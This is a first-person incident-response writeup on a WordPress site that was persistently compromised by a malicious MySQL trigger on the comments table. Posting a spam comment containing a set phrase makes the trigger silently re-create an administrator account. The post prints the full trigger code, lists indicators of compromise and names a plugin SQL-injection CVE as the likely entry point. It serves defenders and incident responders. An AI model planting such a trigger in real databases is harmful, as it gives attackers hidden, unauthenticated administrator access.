When the backdoor lives in the database: hunting a persistent WordPress compromise

 · incident-response, wordpress, mysql, persistence, malware-analysis

TL;DR

I took over maintenance of a long-neglected WordPress site that had been turned into an SEO doorway for poker/spam pages. A rogue administrator account (newsfeed) kept reappearing no matter what I did at the file and application layer. The real persistence mechanism turned out to be a malicious MySQL AFTER INSERT trigger on the wp_comments table: any spam comment containing a specific phrase silently re-created an administrator account directly in the database, bypassing WordPress entirely. Removing the trigger — after testing, removing, and re-testing — finally ended the loop.

This was my first real incident response. I made the mistakes you’d expect, but each one narrowed the problem, and the way I got there is more useful than a tidy “I found it immediately” story would be.

Context

The site ran on WordPress and had been left untouched for a long time. By the time it landed on my desk it was no longer really “the site” — it had become a host for injected spam: poker pages, gambling keywords, and SEO doorway content that didn’t belong to the owner. In CIA terms this is first and foremost an integrity failure (content and user accounts were being modified by an unauthorized party) with a confidentiality angle (someone had administrative access they shouldn’t have) and a slow-burn availability/reputation cost (the domain’s search reputation was being burned for the attacker’s benefit).

First decision: put the site into maintenance mode. That’s a deliberate CIA trade-off — I accepted a short hit to availability to stop serving attacker content and to give myself a stable surface to investigate. Pulling a compromised site offline to protect its integrity and the visitors who’d otherwise be served spam is the right call when you’re unsure of the blast radius.

I took the site on in 2024. For a long time it stayed an intermittent side responsibility: I’d contain it, clean it, move on — and find the same compromise back a while later. It only really got solved once I set aside focused, uninterrupted time to stop patching symptoms and chase the root cause.

First pass: files, logs, and a backup

I started where most WordPress cleanups start:

  • Pulled the files over FTP and read through them alongside the server logs.
  • Restored an earlier automated backup of both the filesystem and the database to get back to a “known” state.
  • Reinstalled every plugin and the theme from clean sources and switched on automatic updates.

In hindsight, restoring that backup is where I planted the seed of a lot of wasted time: the database backup already contained the compromise. I didn’t know that yet, and I was treating “restore a backup” as equivalent to “return to a clean state.” It isn’t — a backup is only as trustworthy as the moment it was taken, and persistence mechanisms get backed up right alongside everything else.

The pattern emerges

Looking at the accounts, I found multiple administrator users named newsfeed. Two details stood out:

  • They kept coming back after deletion.
  • There were no recent posts, comments, or users by date — every artifact the attacker created was backdated. That’s deliberate anti-forensics: if you hunt “what changed in the last week,” backdated rows hide in the noise of old content.

Automated vulnerability/malware scanners flagged a backdoor inside a theme file (functions.php). That fit my mental model perfectly — a PHP backdoor is the “classic” WordPress persistence story — so I cleaned it and restored the site, confident I’d found the root cause. It was also, as it turned out, the only thing any scanner would ever surface — which is exactly why it was so misleading.

I hadn’t found the root cause. I’d found a symptom and treated it as the cause.

It came back

Same pattern: newsfeed administrators reappearing, poker pages regenerating. This is the moment the investigation actually matured, because it forced me to separate two things I’d been conflating: the entry vector (how they first got in) and the persistence mechanism (how they keep getting back in). Killing one does nothing to the other.

So I escalated the hardening, layer by layer — defense in depth, learned the hard way:

  • Cleaned the site again from a verified-good source.
  • Enforced mandatory 2FA for every account, including any created afterwards.
  • Rotated secrets (passwords, salts/keys).

The rogue admins still came back. And that recurrence, frustrating as it was, is the single most important clue in the whole investigation: if enforcing 2FA and rotating every credential doesn’t stop an admin account from re-appearing, the persistence is not at the application’s authentication layer at all. Something below WordPress was re-creating that user.

A containment plug-in (treating the symptom, deliberately)

Before I found the root cause, I wrote a small must-use plug-in to close a bypass the automated activity was using around WordPress’s admin-email confirmation flow. It forces the confirmation screen and blocks the admin_email_remind_later escape hatch:

<?php
/**
 * Force the administrative email confirmation:
 * - hides "Remind me later"
 * - blocks ?admin_email_remind_later=1 by redirecting back to the
 *   admin email confirmation screen.
 */

// 1) Returning 0 from this filter hides the "Remind me later" link.
add_filter( 'admin_email_remind_interval', '__return_zero' );

// 2) If someone still tries admin_email_remind_later=1, bounce them
//    back to the confirmation screen.
add_action( 'admin_init', function () {
    if ( ( defined( 'DOING_AJAX' ) && DOING_AJAX ) || ( defined( 'DOING_CRON' ) && DOING_CRON ) ) {
        return;
    }
    if ( ! is_user_logged_in() ) {
        return;
    }
    if ( isset( $_GET['admin_email_remind_later'] ) ) {
        $url = add_query_arg(
            array(
                'action'  => 'confirm_admin_email',
                'wp_lang' => determine_locale(),
            ),
            wp_login_url()
        );
        wp_safe_redirect( $url );
        exit;
    }
} );

This contained the abusive behaviour — it blocked the actions that were being performed through that flow — but it didn’t eliminate anything. The rogue accounts still returned periodically and I kept deleting them. I want to be honest that this was a symptom-level control, not a fix. It bought breathing room and reduced the attacker’s options, which is a legitimate role for a compensating control, but I knew it wasn’t the answer.

Root cause: a malicious database trigger

With the application layer ruled out, the only place left to look was the database itself — not the data, but the database objects: triggers, stored procedures, scheduled events.

This is where two things had kept it hidden in plain sight. First, every automated check came back clean on the database. Malware scanners and the WordPress database-security tools I ran scan files for known-bad signatures and tables like wp_options / wp_posts for injected payloads — a syntactically legitimate trigger is simply outside what they inspect, so nothing ever flagged it. Second, I couldn’t even list the triggers directly. Querying for them through phpMyAdmin returned nothing: the limited database user the site ran under couldn’t enumerate triggers, so live introspection showed an empty, healthy-looking schema. The trigger only surfaced once I stopped trusting the live views and read the full SQL dump line by line. There it was:

CREATE DEFINER=`wpuser`@`localhost` TRIGGER `after_insert_comment`
AFTER INSERT ON `clientdb`.`wp_comments`
FOR EACH ROW
BEGIN
  IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
    SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `clientdb`.`wp_users`);
    SET @nextWpUsersID = @lastInsertWpUsersId + 1;

    INSERT INTO `clientdb`.`wp_users`
      (`ID`,`user_login`,`user_pass`,`user_nicename`,`user_email`,`user_url`,
       `user_registered`,`user_activation_key`,`user_status`,`display_name`)
    VALUES
      (@nextWpUsersID, 'newsfeed',
       '$P$7PA5GJ17hAwlv4sYmzOnsYNkA3wzWu0', 'newsfeed', '',
       'https://wordpress.com', '2022-05-12 16:47:54', '', '0', 'newsfeed');

    INSERT INTO `clientdb`.`wp_usermeta` (`umeta_id`,`user_id`,`meta_key`,`meta_value`)
    VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');

    INSERT INTO `clientdb`.`wp_usermeta` (`umeta_id`,`user_id`,`meta_key`,`meta_value`)
    VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
  END IF;
END

Once you see it, every dead end makes sense:

  • It fires at the database layer, on every comment insert. WordPress, its login flow, 2FA, and password resets are all above this. The trigger doesn’t care that I rotated credentials or forced 2FA — it writes administrators straight into wp_users and wp_usermeta.
  • Activation is data-driven and unauthenticated. The attacker doesn’t need a session or a backdoor file. They post a public comment containing the phrase “are you struggling to get comments on your blog?” and the database re-provisions a full administrator on demand. The “spam comments” weren’t just spam — they were the command channel.
  • It re-creates a complete admin (wp_capabilities = administrator, user_level = 10) — a textbook least-privilege violation handed to the attacker automatically.
  • It blends in. The fake user_url of https://wordpress.com and the backdated user_registered are there to survive a casual look and defeat date-based hunting.
  • My “clean” backup carried it. Because the trigger lived in the database, restoring the database backup restored the trigger too — I had been re-infecting the site myself every time I “reset” it.

This maps cleanly onto persistence via event-triggered execution: the adversary plants logic that runs automatically in response to a normal system event (a new comment), rather than relying on a file or a standing account that defenders can simply delete.

Remediation and verification

I treated the fix like a hypothesis, not a hope:

  1. Confirm the trigger was the mechanism (the LIKE phrase matched the spam I’d been seeing; the inserts matched the exact newsfeed accounts).
  2. Test by reproducing a triggering comment in a controlled way and watching the user table.
  3. Remove the trigger (DROP TRIGGER), and audit for any sibling database objects (other triggers, stored procedures, scheduled EVENTs) that could do the same job.
  4. Re-test — submit the triggering phrase again and confirm no admin account is created.
  5. Purge the rogue accounts and their usermeta for good, then re-establish a verified clean baseline (and a fresh backup taken after remediation, not before).

Test → remove → re-test is the part I’m proudest of, because it’s the difference between “the symptom stopped” and “I proved the cause is gone.”

Indicators of compromise (IOCs)

  • Database trigger named after_insert_comment on wp_comments (AFTER INSERT).
  • Trigger phrase in comment_content: are you struggling to get comments on your blog?
  • Auto-created administrator: user_login = newsfeed, display_name = newsfeed.
  • Password hash: $P$7PA5GJ17hAwlv4sYmzOnsYNkA3wzWu0.
  • user_url set to https://wordpress.com; backdated user_registered.
  • New users granted wp_capabilities = administrator and wp_user_level = 10.

What I’d do differently next time

  • Enumerate database objects early — and don’t trust the live view. When file and account cleanups don’t hold, review triggers, stored procedures and scheduled events before burning days on the application layer: SHOW TRIGGERS;, SELECT * FROM information_schema.TRIGGERS;, SHOW EVENTS;. But know that a limited database user may silently return nothing for these — as happened to me — so when in doubt inspect a full mysqldump (which captures triggers via DEFINER/CREATE TRIGGER statements) rather than relying on phpMyAdmin’s live introspection.
  • Scanners that come back clean are not proof of a clean database. Off-the-shelf malware and WordPress security scanners look at files and content rows, not schema objects. A green result on the database means “no known-bad files/payloads found,” not “no persistence.”
  • Never trust a backup’s cleanliness. Treat restore points as potentially compromised until proven otherwise, and always cut a fresh backup after remediation.
  • Separate entry vector from persistence from the start. They need separate fixes; closing one and assuming you’re done is how a compromise outlives three “final” cleanups.
  • Hunt by behaviour, not just by date, because backdating defeats recency-based triage.

The entry vector: CVE-2022-25148

The trigger explains how the attacker kept coming back; it doesn’t explain how they got the trigger into the database in the first place. The most likely initial foothold is CVE-2022-25148, an unauthenticated SQL injection in the widely installed WP Statistics plugin (versions ≤ 13.1.5, fixed in 13.1.6). The plugin failed to escape and parameterize the current_page_id parameter handled in includes/class-wp-statistics-hits.php, letting an unauthenticated visitor inject SQL through the hit-counting endpoint (CWE-89).

Two things make this the prime suspect rather than a guess:

  • It needs no authentication, which fits a site compromised while unmaintained — no stolen credentials, no admin interaction required.
  • The timing fits. The recreated account is hardcoded with user_registered = '2022-05-12'. That value is attacker-controlled, so on its own it proves nothing — but it falls squarely in the window when this unauthenticated SQLi was public and being widely exploited, and the site was running an affected WP Statistics version. Together, that’s a strong circumstantial fit.

I want to be precise about what I can and can’t prove. The publicly documented exploit for CVE-2022-25148 is a time-based blind injection used to read data, and WordPress’s $wpdb does not normally permit stacked queries — so I won’t claim that this single injection point directly executed a CREATE TRIGGER. What I can say is that an unauthenticated SQLi of this class, on a plugin the site was actually running, matching the hardcoded date, is by far the most probable initial access — and the trigger was then established as the durable persistence layer, whether through this injection, a secondary write primitive, or a follow-on step after the foothold. Pinning down the exact write path would require the original web and database logs from that period, which I no longer had.

The fix for the entry vector is simple and was part of the cleanup: update WP Statistics to ≥ 13.1.6, and more broadly keep every plugin patched and remove unused ones — the smaller the attack surface, the fewer footholds like this one.


First-hand incident response writeup. Client-identifying details (database and account names) have been anonymized; the trigger phrase, malicious username and password hash are published as indicators of compromise for a known WordPress malware pattern.

← All writeups